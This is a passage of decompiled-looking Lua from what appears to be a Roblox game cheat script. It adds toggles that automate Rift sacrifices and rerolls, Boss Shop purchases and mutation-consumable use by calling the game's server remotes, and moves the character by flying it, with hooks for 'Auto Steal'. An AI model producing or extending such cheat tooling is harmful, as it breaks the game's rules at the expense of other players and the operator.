local v24 = tbl16[tostring(requirement)]
local v25 = ipairs
local tbl19 = v24 or {}
local v26 = nil
for _, v27 in v25(tbl19) do
if not tbl18[v27.Uid] then
v26 = v27
break
else
v26 = nil
end
end
if not v26 then
return nil, "Missing " .. fn19(requirement)
end
tbl18[v26.Uid] = true
table.insert(tbl17, v26.Uid)
end
return tbl17
end
fn15 = function()
local v23 = v21
if type(v23) ~= "table" then
return "Rift status unknown"
end
if v23.Unlocked ~= true then
return "Rift is locked on this account"
end
local tbl15 = {}
local v24 = ipairs
local requirements = v23.Requirements or {}
for _, requirement in v24(requirements) do
table.insert(tbl15, fn19(requirement))
end
local n12 = (tonumber(v23.SecondsUntilRotation) or 0) - os.clock() - n10
if n12 < 0 then
n12 = 0
end
local format = string.format
local v25 = tostring
local bannerDisplayName = v23.BannerDisplayName or v23.BannerId or "Rift"
local v26 = v25(bannerDisplayName)
local str4 = #tbl15 > 0 and table.concat(tbl15, ", ") or "unknown"
local v27 = tostring
local pityCount = v23.PityCount or 0
local v28 = v27(pityCount)
local v29 = tostring
local pityThreshold = v23.PityThreshold or 0
local v30 = v29(pityThreshold)
local v31 = tostring
local freeRefreshesRemaining = v23.FreeRefreshesRemaining or 0
local str5 = format(
"%s - needs %s - pity %s/%s - free rerolls %s - rotates in %d:%02d",
v26,
str4,
v28,
v30,
v31(freeRefreshesRemaining),
math.floor(n12 / 60),
math.floor(n12 % 60)
)
if str3 ~= "" then
str5 = str5 .. " - " .. str3
end
return str5
end
fn16 = function(arg)
local v23 = fn14(true)
if type(v23) ~= "table" or v23.Unlocked ~= true then
return
end
if v23.PendingReward ~= nil and v23.PendingReward ~= false then
local AskFinishReveal, v24 = fn17("RF/Rift/AskFinishReveal")
AskFinishReveal = AskFinishReveal and v24 ~= false
local str4 = AskFinishReveal and "Reward claimed" or "Reward claim failed"
str3 = str4
n9 = 0
return
end
local v24 = fn18()
if not v24 then
return
end
local v25, str4 = fn20(v23, v24)
local v26 = v25
if not v26 then
str4 = str4 or "Recipe not ready"
str3 = str4
local flag4 = arg == n7 and tbl4.Toggle(v20, false)
if flag4 then
flag4 = (tonumber(v23.FreeRefreshesRemaining) or 0) > 0
end
if flag4 then
local AskRefresh, v27, str5 = fn17("RF/Rift/AskRefresh")
if AskRefresh and v27 ~= false then
str3 = "Recipe rerolled"
else
local v28 = tostring
str5 = str5 or "Reroll rejected"
str3 = v28(str5)
end
n9 = 0
end
return
end
if not tbl4.Toggle(v19, false) then
str3 = "Ready to sacrifice"
return
end
if arg ~= n7 then
return
end
local AskTradeIn, v27, str5 = fn17("RF/Rift/AskTradeIn", v26)
AskTradeIn = AskTradeIn and v27 ~= false
if AskTradeIn then
str3 = "Sacrifice sent"
else
local v28 = tostring
str5 = str5 or "Trade rejected"
str3 = v28(str5)
end
n9 = 0
end
v22 = v12:CreateText({ Name = "Rift Machine Status", Text = "Loading Rift data..." })
v19 = v12:CreateToggle({
Name = "Auto Rift Sacrifice",
Note = "Trade the 3 required pets into the Rift machine",
Default = false,
Callback = function()
n7 = n7 + 1
str3 = ""
n8 = 0
n9 = 0
tbl2.Wake()
end,
})
v20 = v12:CreateToggle({
Name = "Auto Reroll Rift Recipe",
Note = "Reroll the recipe when a pet is missing and free rerolls remain",
Default = false,
Callback = function()
n7 = n7 + 1
str3 = ""
n8 = 0
n9 = 0
tbl2.Wake()
end,
})
end
for _, v23 in ipairs({
{ Key = "Place", Name = "Place Rift Recipe Eggs" },
{ Key = "Hatch", Name = "Hatch Rift Recipe Eggs" },
}) do
local key = v23.Key
tbl4.Rift.Handles[key] = v12:CreateToggle({
Name = v23.Name,
Default = false,
Callback = function()
tbl4.Rift.Next = 0
local v24 = tbl4.Rift.Restart[key]
if type(v24) == "function" then
v24()
end
tbl2.Wake()
end,
})
end
do
local tbl15 = {
{ Label = "Mutation Consumable", Id = "MutationConsumable", Price = 400 },
{ Label = "2x Cash Booster", Id = "CashBooster", Price = 175 },
{ Label = "2x Treadmill Booster", Id = "TreadmillBooster", Price = 200 },
{ Label = "1.25x Speed", Id = "SpeedBoost", Price = 225 },
}
local tbl16 = {}
for _, v23 in ipairs(tbl15) do
local n11 = #tbl16 + 1
tbl16[n11] = v23.Label
end
local createToggle = nil
local tbl17 = { ["Mutation Consumable"] = true }
local n11 = 0
local n12 = 0
local BossMastery = nil
pcall(function()
BossMastery = require(ReplicatedStorage.Data.BossMastery)
end)
local function fn17(arg)
if type(BossMastery) == "table" then
local ok, result = pcall(BossMastery.GetShopPrice, arg.Id)
if ok and type(result) == "number" and result > 0 then
return result
end
if type(BossMastery.ShopProducts) == "table" then
for _, v23 in ipairs(BossMastery.ShopProducts) do
if v23.Id == arg.Id and type(v23.Price) == "number" then
return v23.Price
end
end
end
end
return arg.Price
end
local function fn18()
local playerGui = localPlayer
if localPlayer then
playerGui = localPlayer:FindFirstChild("PlayerGui")
end
playerGui = playerGui and playerGui:FindFirstChild("BossShop")
if not playerGui then
return nil
end
local amount = playerGui:FindFirstChild("Amount", true)
if not amount or not amount:IsA("TextLabel") then
return nil
end
local v23 = string.gsub(tostring(amount.Text), "[^%d]", "")
if v23 == "" then
return nil
end
return tonumber(v23)
end
local function fn19()
local packages = ReplicatedStorage:FindFirstChild("Packages")
packages = packages and packages:FindFirstChild("Networking")
packages = packages and packages:FindFirstChild("RF/BossMastery/AskBuyShopItem")
if packages and packages:IsA("RemoteFunction") then
return packages
end
return nil
end
local function fn20(arg)
local v23 = fn19()
if not v23 then
return false
end
local ok, result = pcall(function()
return v23:InvokeServer(arg.Id)
end)
ok = ok and result ~= false
ok = ok and result ~= nil
if ok then
local v24 = tbl4
v24.BossShopStock = (tonumber(tbl4.BossShopStock) or 0) + 1
end
return ok
end
local function fn21(arg)
local v23 = fn18()
if v23 == nil then
return
end
for _, v24 in ipairs(tbl15) do
if arg ~= n12 then
return
end
if tbl17[v24.Label] ~= true then
continue
end
local v25 = fn17(v24)
local n13 = 0
while v23 ~= nil and v23 - v25 >= n11 and n13 < 25 do
if arg ~= n12 or not tbl4.Toggle(createToggle, false) then
return
end
if not fn20(v24) then
break
end
n13 = n13 + 1
task.wait(0.45)
v23 = fn18()
end
end
end
local tbl18 = {
Name = "Auto Buy Boss Shop",
Note = "Spend Boss Tokens on the picked Boss Shop items",
Default = false,
Callback = function(arg)
n12 = n12 + 1
if arg ~= true then
return
end
local v23 = n12
task.spawn(function()
while v23 == n12 and tbl4.Toggle(createToggle, false) do
pcall(fn21, v23)
for i = 1, 12 do
if v23 ~= n12 then
return
end
task.wait(0.5)
end
end
end)
end,
}
createToggle = v12.CreateToggle
createToggle = createToggle(v12, tbl18)
fn7(v12:CreateMultiDropdown({
Name = "Boss Shop Items",
Options = tbl16,
Default = { "Mutation Consumable" },
SubOf = createToggle,
Callback = function(arg)
local tbl19 = {}
if type(arg) == "table" then
for k, v23 in pairs(arg) do
if v23 == true and type(k) == "string" then
tbl19[k] = true
elseif type(v23) == "string" then
tbl19[v23] = true
end
end
end
tbl17 = tbl19
end,
}))
v12:CreateSlider({
Name = "Keep Boss Tokens",
Note = "Stop buying once the balance would drop below this",
Min = 0,
Max = 20000,
Default = 0,
Increment = 50,
Unit = "",
SubOf = createToggle,
Callback = function(arg)
local max = math.max
local n13 = tonumber(arg) or 0
n11 = max(0, n13)
end,
})
fn6(function()
n12 = n12 + 1
end)
end
do
local tbl15 = { "Highest Value", "Best Rarity", "Biggest Size" }
local v23 = nil
local n11 = 0
local n12 = 0
local tbl16 = { Value = 0 }
local str3 = tbl15[1]
local flag4 = true
local tbl17 = {}
local tbl18 = {}
local directory = tbl.Assets and tbl.Assets.Directory
local tbl19 = {}
if type(directory) == "table" then
for k, v24 in pairs(directory) do
local rarity = type(v24) == "table" and v24.Rarity or nil
local flag5 = type(rarity) == "table"
if flag5 then
local v25 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag5 = v25(rarityNumber)
end
flag5 = flag5 or nil
if flag5 then
local insert = table.insert
local tbl20 = { Category = tostring(k) }
local v25 = tostring
local displayName = v24.DisplayName or k
tbl20.Name = v25(displayName)
tbl20.Rarity = flag5
local v26 = tostring
local displayName2 = rarity.DisplayName or rarity._id or flag5
tbl20.RarityName = v26(displayName2)
insert(tbl19, tbl20)
end
end
end
table.sort(tbl19, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity > arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v24 in ipairs(tbl19) do
local str4 = string.format("%s [%s]", v24.Name, v24.RarityName)
if tbl18[str4] then
str4 = string.format("%s [%s] (%s)", v24.Name, v24.RarityName, v24.Category)
end
table.insert(tbl17, str4)
tbl18[str4] = v24.Category
end
local tbl20 = {}
local n13 = 0
local str4 = "Idle"
local fn17 = nil
local str5 = "idle"
local str6 = "Turn it on to start applying Fractured"
local str7 = "#FFFFFF"
local str8 = ""
local tbl21 = {}
local v24 = nil
local n14 = 0
local n15 = 0
local fn18 = nil
local function fn19(arg)
local directory2 = tbl.Assets and tbl.Assets.Directory
local flag5 = type(directory2) == "table" and directory2[tostring(arg)] or nil
return flag5
end
local function fn20(arg)
local v25 = fn19(arg.AssetCategory)
local rarity = type(v25) == "table" and v25.Rarity or nil
local flag5 = type(rarity) == "table"
if flag5 then
local v26 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag5 = v26(rarityNumber)
end
local n16 = flag5 or 0
return n16
end
local function fn21(arg)
local v25 = fn19(arg.AssetCategory)
local n16 = type(v25) == "table" and tonumber(v25.EarningRate) or 0
local n17 = tonumber(arg.AssetScale) or 0
if n16 <= 0 or n17 <= 0 then
return 0
end
local n18 = n17 > 5 and (n17 / 5) ^ 1.2 * 19.637875755794113 or n17 ^ 1.85
return n16 * n18
end
local function fn22(arg)
local v25 = tostring
local baseMutation = arg.BaseMutation or ""
if v25(baseMutation) == "Boss" then
return true
end
if type(arg.Mutations) == "table" then
for k, v26 in pairs(arg.Mutations) do
if type(v26) == "string" and v26 == "Boss" then
return true
end
if type(k) == "string" and k == "Boss" and v26 ~= false then
return true
end
end
end
return false
end
local function fn23()
local eggState = tbl.EggState
if type(eggState) ~= "table" or type(eggState.ReadOwnerEggs) ~= "function" then
return {}
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v25 = result
if not ok or type(v25) ~= "table" then
return {}
end
local tbl22 = {}
for k, v26 in pairs(v25) do
if type(v26) == "table" and v26.Placement ~= nil then
v26.Uid = v26.Uid or k
local n16 = #tbl22 + 1
tbl22[n16] = v26
end
end
return tbl22
end
local n16 = 6
local function fn24(arg)
local uid = arg and arg.Uid
if uid then
local areaEggSlotsClient = workspace:FindFirstChild("AreaEggSlotsClient")
areaEggSlotsClient = areaEggSlotsClient and areaEggSlotsClient:FindFirstChild(uid)
if areaEggSlotsClient then
local ok, result = pcall(function()
return areaEggSlotsClient:GetPivot().Position
end)
ok = ok and typeof(result) == "Vector3"
if ok then
return result
end
end
end
if type(tbl4.PenAnchor) == "function" then
local ok, result = pcall(tbl4.PenAnchor)
ok = ok and typeof(result) == "Vector3"
if ok then
return result
end
end
return nil
end
local function fn25(arg, arg2)
local v25 = fn24(arg)
if v25 == nil then
return true
end
if tbl4.DistanceTo(v25) <= n16 then
return true
end
local function fn25()
if arg2 ~= n11 or not tbl4.Toggle(v23, false) then
return true
end
local flag5 = tbl4.Movement.PlaceWanted == true
or tbl4.Movement.ScrambleWanted == true
or tbl4.Steal.Wanted == true
return flag5
end
if tbl4.Treadmill.Riding or tbl4.OnBelt() then
tbl4.ExitBelt()
end
tbl4.HoldBelt()
local ok, result = pcall(tbl4.FlyTo, v25 + Vector3.new(0, 3, 0), fn25, "fractured")
tbl4.ReleaseBelt()
tbl4.LeaveBelt()
if not ok then
result = ok
end
local flag5
if result then
local n17 = n16 + 4
flag5 = tbl4.DistanceTo(v25) <= n17
else
flag5 = result
end
return flag5
end
local function fn26()
local character = localPlayer.Character
local function fn26(arg)
if not arg or not arg:IsA("Tool") then
return false
end
if tostring(arg:GetAttribute("ItemType")) ~= "MutationConsumable" then
return false
end
local attribute = arg:GetAttribute("MutationId") or arg:GetAttribute("MutationTemplate")
if attribute ~= nil then
return tostring(attribute) == "Boss"
end
local v25 = string.lower(arg.Name)
local flag5 = string.find(v25, "mutation consumable", 1, true) ~= nil
and string.find(v25, "scrambled", 1, true) == nil
return flag5
end
if character then
for _, child in ipairs(character:GetChildren()) do
if fn26(child) then
return child, true
end
end
end
local backpack = localPlayer:FindFirstChildOfClass("Backpack")
if backpack then
for _, child in ipairs(backpack:GetChildren()) do
if fn26(child) then
return child, false
end
end
end
return nil, false
end
local function fn27(arg)
if not arg then
return 0
end
local num = tonumber(arg:GetAttribute("Uses"))
if num ~= nil then
return num
end
local n17 = tonumber((string.match(arg.Name, "%[X(%d+)%]"))) or 1
return n17
end
local function fn28()
local v25 = fn26()
if not v25 then
return nil, 0
end
local v26 = fn27(v25)
if v26 <= 0 then
return nil, 0
end
return v25, v26
end
local function fn29(arg)
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if not character or not humanoid or not arg or arg.Parent == nil then
return false
end
if arg.Parent ~= character then
pcall(function()
humanoid:EquipTool(arg)
end)
if arg.Parent ~= character then
pcall(function()
arg.Parent = character
end)
end
task.wait(0.2)
end
return arg.Parent == character
end
local uid = nil
local function fn30()
local n17 = -1
local v25 = nil
for _, v26 in ipairs(fn23()) do
local flag5 = true
if flag4 then
flag5 = fn22(v26)
end
local flag6 = false
if flag5 then
flag6 = true
end
if not flag6 and fn20(v26) < n12 then
flag6 = true
end
local flag7 = not flag6 and tbl16.Value > 0
if flag7 then
local value = tbl16.Value
flag7 = fn21(v26) < value
end
if flag7 then
flag6 = true
end
if not flag6 and next(tbl20) ~= nil and tbl20[tostring(v26.AssetCategory)] ~= true then
flag6 = true
end
if not flag6 then
local n18
if str3 == tbl15[2] then
local n19 = fn20(v26) * 1000
local n20 = tonumber(v26.AssetScale) or 0
n18 = n19 + n20
elseif str3 == tbl15[3] then
n18 = tonumber(v26.AssetScale) or 0
else
n18 = fn21(v26)
end
local flag8 = n18 > n17
if not flag8 and v25 ~= nil and n18 == n17 and v26.Uid == uid then
n17 = n18
v25 = v26
elseif flag8 then
n17 = n18
v25 = v26
end
end
end
return v25
end
local n17 = 0
local n18 = 0
local tbl22 = {
Over = function(arg)
if arg ~= n11 or not tbl4.Toggle(v23, false) then
return true
end
local flag5 = tbl4.Movement.PlaceWanted == true
or tbl4.Movement.ScrambleWanted == true
or tbl4.Steal.Wanted == true
return flag5
end,
Apply = function(arg, arg2)
if not fn29(arg2) then
str5 = "work"
str4 = "Could not hold the consumable"
n13 = os.clock() + 2
return false
end
local packages = ReplicatedStorage:FindFirstChild("Packages")
packages = packages and packages:FindFirstChild("Networking")
local rfBossMasteryAskUseMutationConsu = packages
and packages:FindFirstChild("RF/BossMastery/AskUseMutationConsumable")
if
not rfBossMasteryAskUseMutationConsu
or not rfBossMasteryAskUseMutationConsu:IsA("RemoteFunction")
then
str5 = "stop"
str4 = "Mutation remote is missing"
n13 = os.clock() + 10
return false
end
str5 = "work"
str4 = "Applying Fractured"
n14 = n14 + 1
local ok, result = pcall(function()
return rfBossMasteryAskUseMutationConsu:InvokeServer(arg.Uid)
end)
if not ok or type(result) ~= "table" then
n13 = os.clock() + 10
return false
end
if result.Success == true then
str4 = "Fractured applied"
uid = nil
str5 = "good"
n15 = n15 + 1
return true
end
local v25 = tostring
local message = result.Message or ""
local str9 = v25(message)
local v26 = string.lower(str9)
local flag5 = str9 ~= ""
if not flag5 then
str9 = flag5
end
str9 = str9 or "Try failed"
str4 = str9
str5 = "work"
if string.find(v26, "not found") or string.find(v26, "invalid") then
uid = nil
n13 = os.clock() + 3
return false
end
return true
end,
Settle = function()
local n19 = os.clock() + 3
while os.clock() < n19 do
if tbl4.Grounded() then
return
end
RunService.Heartbeat:Wait()
end
end,
}
local function fn31(arg)
local n19 = tonumber(tbl4.BossShopStock) or 0
if n19 ~= n17 then
n17 = n19
n13 = 0
end
if os.clock() < n13 then
return
end
if tbl4.Movement.ScrambleWanted == true or tbl4.Steal.Wanted == true then
str5 = "work"
local str9 = tbl4.Movement.ScrambleWanted == true and "Drone hunt goes first"
or "Auto Steal goes first"
str4 = str9
n13 = os.clock() + 2
return
end
local v25, v26 = fn28()
if not v25 then
str5 = "idle"
str4 = "Need Mutation Consumable"
n18 = 0
str6 = ""
str7 = "#C7CBD6"
str8 = ""
n13 = os.clock() + 5
return
end
n18 = v26
local v27 = fn30()
if not v27 or not v27.Uid then
str5 = "stop"
str4 = "Waiting"
if fn18 then
fn18(nil)
end
return
end
if v27.Uid ~= uid then
uid = v27.Uid
str4 = "New target picked"
end
if fn18 then
fn18(v27)
end
if tbl4.Movement.PlaceWanted == true then
str5 = "work"
str4 = "Auto Place goes first"
n13 = os.clock() + 2
return
end
if not tbl4.ClaimMovement("fractured") then
str5 = "work"
local v28 = tostring
local owner = tbl4.Movement.Owner or "movement"
str4 = "Waiting for " .. v28(owner)
n13 = os.clock() + 2
return
end
tbl4.Movement.FracturedWanted = true
local ok, result = pcall(function()
while not tbl22.Over(arg) do
local v28, v29 = fn28()
if v28 then
n18 = v29
local v30 = fn30()
if not v30 or not v30.Uid then
str5 = "stop"
str4 = "Waiting"
if fn18 then
fn18(nil)
end
break
else
if v30.Uid ~= uid then
uid = v30.Uid
str4 = "New target picked"
end
if fn18 then
fn18(v30)
end
if not fn25(v30, arg) then
str5 = "work"
str4 = "Could not reach the egg"
n13 = os.clock() + 3
break
elseif not (tbl22.Over(arg) or not tbl22.Apply(v30, v28)) then
pcall(fn17)
task.wait(0.35)
continue
end
end
end
break
end
end)
if not ok then
str4 = "Stopped: " .. tostring(result)
str5 = "work"
n13 = os.clock() + 3
end
tbl22.Settle()
tbl4.Movement.FracturedWanted = false
tbl4.ReleaseMovement("fractured")
end
v23 = v12:CreateToggle({
Name = "Auto Use Fractured Mutation",
Note = "Apply Fractured to your best placed egg, 10 percent per try",
Default = false,
Callback = function(arg)
n11 = n11 + 1
tbl4.Movement.FracturedWanted = false
tbl4.ReleaseMovement("fractured")
if arg ~= true then
return
end
local v25 = n11
task.spawn(function()
while v25 == n11 and tbl4.Toggle(v23, false) do
pcall(fn31, v25)
pcall(fn17)
task.wait(str5 == "idle" and 3 or 1)
end
end)
end,
})
local tbl23 = { idle = "#8C93A6", work = "#FFC857", good = "#57E08A", stop = "#FF6B6B" }
local v25 = nil
local idle = tbl23.idle
local function fn32(arg)
if typeof(arg) ~= "Color3" then
return "#FFFFFF"
end
return string.format(
"#%02X%02X%02X",
math.floor(arg.R * 255 + 0.5),
math.floor(arg.G * 255 + 0.5),
math.floor(arg.B * 255 + 0.5)
)
end
local function fn33(arg)
local ok, result = pcall(Color3.fromHex, arg)
local v26 = result
if not ok or typeof(v26) ~= "Color3" then
return arg
end
local v27, v28, v29 = v26:ToHSV()
return fn32(Color3.fromHSV(v27, math.min(v28, 0.78), math.max(v29, 0.82)))
end
local function fn34(arg)
local v26 = fn19
arg = arg and arg.AssetCategory
local v27 = v26(arg)
local icon = type(v27) == "table" and v27.Icon or nil
if icon == nil then
return ""
end
if tonumber(icon) then
return "rbxassetid://" .. tostring(icon)
end
return tostring(icon)
end
local function fn35(arg)
local v26 = fn19
arg = arg and arg.AssetCategory
local v27 = v26(arg)
local rarity = type(v27) == "table" and v27.Rarity or nil
local flag5 = type(rarity) == "table"
if flag5 then
local v28 = tostring
local displayName = rarity.DisplayName or rarity._id or ""
flag5 = v28(displayName)
end
flag5 = flag5 or ""
local color = type(rarity) == "table" and rarity.Color or nil
return flag5, fn33(fn32(color))
end
local function fn36(arg)
if type(arg) ~= "table" then
return "No egg selected"
end
local v26 = fn19(arg.AssetCategory)
local flag5 = type(v26) == "table"
if flag5 then
local v27 = tostring
local displayName = v26.DisplayName or arg.AssetCategory
flag5 = v27(displayName)
end
local str9 = flag5 or tostring(arg.AssetCategory)
return str9
end
fn17 = function()
local idle2 = tbl23[str5] or tbl23.idle
idle = idle2
if tbl21.Accent and type(tbl21.Accent.Set) == "function" then
tbl21.Accent.Set({ Background = idle })
end
if tbl21.Title and type(tbl21.Title.Set) == "function" then
tbl21.Title.Set({ Text = str4, Color = idle })
end
if tbl21.Egg and type(tbl21.Egg.Set) == "function" then
tbl21.Egg.Set({ Text = str6, Color = str7 })
end
if tbl21.Meta and type(tbl21.Meta.Set) == "function" then
tbl21.Meta.Set({
Text = string.format("Left %d Tries %d Applied %d", n18, n14, n15),
})
end
if tbl21.Icon and type(tbl21.Icon.Set) == "function" then
tbl21.Icon.Set({ Visible = str8 ~= "", Image = str8, StrokeColor = str7 })
end
local flag5 = v24
if v24 then
flag5 = type(v24.Set) == "function"
end
if flag5 then
pcall(v24.Set, v24, str4 .. " - " .. str6)
end
end
fn18 = function(arg)
if type(arg) ~= "table" then
str6 = "No egg matches the filters"
str7 = "#C7CBD6"
str8 = ""
return
end
local v26, v27 = fn35(arg)
local n19 = tonumber(arg.AssetScale) or 0
str6 = string.format("%s %.2f kg", fn36(arg), n19)
if v26 ~= "" then
str6 = str6 .. " " .. string.upper(v26)
end
str7 = v27
str8 = fn34(arg)
end
if type(v12.CreateCanvas) == "function" then
local v26 = v12:CreateCanvas({
Name = "Mutation Status",
ShowTitle = false,
Layout = "free",
SubOf = v23,
Style = {
TextScale = 1,
LineHeight = 1.1,
MinLines = 4,
MaxLines = 4,
AutoHeight = true,
BackgroundTransparency = 0.35,
TextColor = Color3.fromRGB(255, 255, 255),
TextStrokeTransparency = 0.7,
},
Build = function(arg)
v25 = arg
tbl21.Card = arg:Frame({
X = 0,
Y = 0,
Width = 1,
Height = 3.6,
Corner = 0.3,
Background = "#151821",
BackgroundTransparency = 0.25,
})
tbl21.Accent = arg:Frame({
Parent = tbl21.Card,
X = 0.08,
Y = 0.18,
Width = 0.16,
Height = 3.24,
Corner = 0.2,
Background = tbl23.idle,
})
tbl21.Icon = arg:Image({
Parent = tbl21.Card,
X = 0.42,
Y = 0.3,
Width = 3,
Height = 3,
Corner = 0.3,
Background = "#242938",
BackgroundTransparency = 0.1,
StrokeThickness = 0.06,
StrokeTransparency = 0,
Visible = false,
})
tbl21.Title = arg:Text({
Parent = tbl21.Card,
X = 3.7,
Y = 0.32,
Width = 1,
Height = 1.05,
Scale = 1.16,
Wrap = false,
Text = str4,
Color = tbl23.idle,
TextStrokeTransparency = 1,
})
tbl21.Egg = arg:Text({
Parent = tbl21.Card,
X = 3.7,
Y = 1.42,
Width = 1,
Height = 1,
Scale = 1,
Wrap = false,
Text = str6,
Color = "#FFFFFF",
TextStrokeTransparency = 1,
})
tbl21.Meta = arg:Text({
Parent = tbl21.Card,
X = 3.7,
Y = 2.42,
Width = 1,
Height = 0.9,
Scale = 0.86,
Wrap = false,
Text = "Left 0 Tries 0 Applied 0",
Color = "#AEB4C6",
TextStrokeTransparency = 1,
})
fn17()
end,
})
fn6(function()
pcall(function()
v26:Destroy()
end)
end)
else
v24 = v12:CreateText({ Name = "Mutation Status", Text = "Idle", SubOf = v23 })
end
v12:CreateDropdown({
Name = "Mutation Min Rarity",
Note = "Only eggs of this rarity and above are used",
Options = tbl7,
Default = tbl7[1],
SubOf = v23,
Callback = function(arg)
local n19 = tbl8[arg] or 0
n12 = n19
end,
})
local tbl24 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local tbl25 = { Slider = nil, Value = 0, Unit = "M/s" }
local function fn37(arg, arg2)
if arg ~= nil then
local v26 = tbl25
local max = math.max
local floor = math.floor
local value = tonumber(arg) or tbl25.Value
v26.Value = max(0, floor(value))
end
if arg2 ~= nil then
tbl25.Unit = tostring(arg2)
end
local ms = tbl24[tbl25.Unit] or tbl24["M/s"]
tbl16.Value = tbl25.Value * ms.Mult
end
tbl25.Slider = v12:CreateSlider({
Name = "Mutation Min Value",
Note = "Skip eggs worth less than this (0 = off)",
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
SubOf = v23,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg)
local ms = tbl24[arg] or tbl24["M/s"]
local slider = tbl25.Slider
if slider and slider.SetRange then
slider:SetRange(ms.Min, ms.Max)
local min = tonumber(slider:Get()) or ms.Min
local min2 = ms.Min
local max = ms.Max
local n19 = math.clamp(math.floor(min + 0.5), min2, max)
if n19 ~= min then
tbl25.Unit = tostring(arg)
slider:Set(n19)
return
end
fn37(n19, arg)
else
fn37(nil, arg)
end
end,
},
Callback = function(arg)
fn37(arg, nil)
end,
})
v12:CreateDropdown({
Name = "Mutation Priority",
Note = "Which egg gets the consumable first",
Options = tbl15,
Default = tbl15[1],
SubOf = v23,
Callback = function(arg)
str3 = tostring(arg)
end,
})
fn7(v12:CreateMultiDropdown({
Name = "Mutation Target Eggs",
Note = "Only use the consumable on these eggs (empty = all)",
Options = tbl17,
Default = {},
SubOf = v23,
Callback = function(arg)
local tbl26 = {}
if type(arg) == "table" then
for k, v26 in pairs(arg) do
local flag5 = v26 == true and type(k) == "string"
if not flag5 then
k = flag5
end
k = k or type(v26) == "string" and v26
local v27 = k or nil
if v27 and tbl18[v27] then
tbl26[tbl18[v27]] = true
end
end
end
tbl20 = tbl26
end,
}))
fn6(function()
n11 = n11 + 1
tbl4.Movement.FracturedWanted = false
tbl4.ReleaseMovement("fractured")
end)
end
tbl2.Add(function()
local v23 = tbl4.Toggle(v19, false)
local v24 = tbl4.Toggle(v20, false)
local n11 = (v23 or v24) and 5 or 30
local flag4 = not flag3
local flag5
if flag4 then
flag5 = v21 == nil or n9 == 0 or os.clock() - n10 >= n11
else
flag5 = flag4
end
if flag5 then
flag3 = true
task.spawn(function()
pcall(fn14, true)
flag3 = false
end)
end
local flag6 = v22
if v22 then
flag6 = type(v22.Set) == "function"
end
if flag6 then
pcall(v22.Set, v22, fn15())
end
local flag7 = flag2
if not flag2 then
v23 = v23 or v24
flag7 = not v23
end
flag7 = flag7 or os.clock() < n8
if flag7 then
return false
end
flag2 = true
n8 = os.clock() + n6
local v25 = n7
task.spawn(function()
pcall(fn16, v25)
flag2 = false
tbl2.Wake()
end)
return false
end)
local save5 = tbl.Save
if type(save5) == "table" and type(save5.FieldSignal) == "function" then
local ok, result = pcall(save5.FieldSignal, "Rift")
ok = ok and type(result) == "table"
ok = ok and type(result.Connect) == "function"
if ok then
local ok2, result2 = pcall(result.Connect, result, function()
n9 = 0
tbl2.Wake()
end)
ok2 = ok2 and result2
if ok2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
local n11
n11 = 6
local n12
n12 = 1.5
local n13
n13 = 400
local tbl15, tbl16, tbl17, tbl18, n14, tbl19, snapshot, n15, flag4, n16
local n17, str3, str4, tbl20, tbl21, flag5, n18, v23, v24, v25
local fn17, fn18, fn19, fn20, fn21, fn22, fn23, fn24, fn25, fn26
local fn27, fn28, tbl22, fn29
do
local tbl23, fn30, fn31, fn32, fn33, fn34
do
local vector = Vector3.new(2120, -120, -355)
tbl15 = { "LostPart1", "LostPart2" }
tbl23 = {
{ Label = "Experiment #001", Id = "LimitedTimeExperimentPet" },
{ Label = "Nibbles #013", Id = "Nibbles013" },
{ Label = "Scrambled Mutation", Id = "MutationConsumable" },
{ Label = "2x Cash Booster", Id = "CashBooster" },
{ Label = "1.25x Speed", Id = "SpeedBoost" },
{ Label = "2x Treadmill Booster", Id = "TreadmillBooster" },
}
tbl16 = {}
for _, v26 in ipairs(tbl23) do
local n19 = #tbl16 + 1
tbl16[n19] = v26.Label
end
tbl17 = {}
tbl18 = {}
n14 = 0
tbl19 =
{ ["Experiment #001"] = true, ["Nibbles #013"] = true, ["Scrambled Mutation"] = true }
snapshot = nil
n15 = -math.huge
flag4 = false
n16 = 0
n17 = 0
str3 = ""
str4 = ""
tbl20 = { Tool = nil, EquipAt = 0 }
tbl21 = { Latch = false, Ended = false }
flag5 = false
n18 = 0
v23 = nil
v24 = nil
v25 = nil
local function fn35()
local packages = ReplicatedStorage:FindFirstChild("Packages")
local networking2 = packages and packages:FindFirstChild("Networking")
networking2 = networking2 and networking2:FindFirstChild("RF/Scramble/Request")
if networking2 and networking2:IsA("RemoteFunction") then
return networking2
end
return nil
end
fn17 = function(arg, ...)
local v26 = fn35()
if not v26 then
return nil
end
local v27 = table.pack(...)
local ok, result = pcall(function()
return v26:InvokeServer(arg, table.unpack(v27, 1, v27.n))
end)
if not ok or type(result) ~= "table" then
return nil
end
if type(result.Snapshot) == "table" then
snapshot = result.Snapshot
n15 = os.clock()
elseif arg == "Snapshot" and type(result.State) == "table" then
snapshot = result
n15 = os.clock()
end
return result
end
fn18 = function(arg)
if arg or snapshot == nil or os.clock() - n15 >= n11 then
fn17("Snapshot")
end
return snapshot
end
fn19 = function()
local v26 = snapshot
local state = type(v26) == "table" and type(v26.State) == "table" and v26.State or nil
return state
end
fn20 = function()
local v26 = snapshot
if type(v26) ~= "table" or v26.Enabled == false or type(v26.State) ~= "table" then
return false
end
local num = tonumber(v26.EventEndsAt)
local flag6 = num == nil or workspace:GetServerTimeNow() < num
return flag6
end
fn21 = function()
local v26 = snapshot
local window = type(v26) == "table" and v26.Window or nil
if type(window) ~= "table" then
return false, nil
end
local serverTimeNow = workspace:GetServerTimeNow()
local num = tonumber(window.StartsAt)
local num2 = tonumber(window.EndsAt)
if
window.Active == true
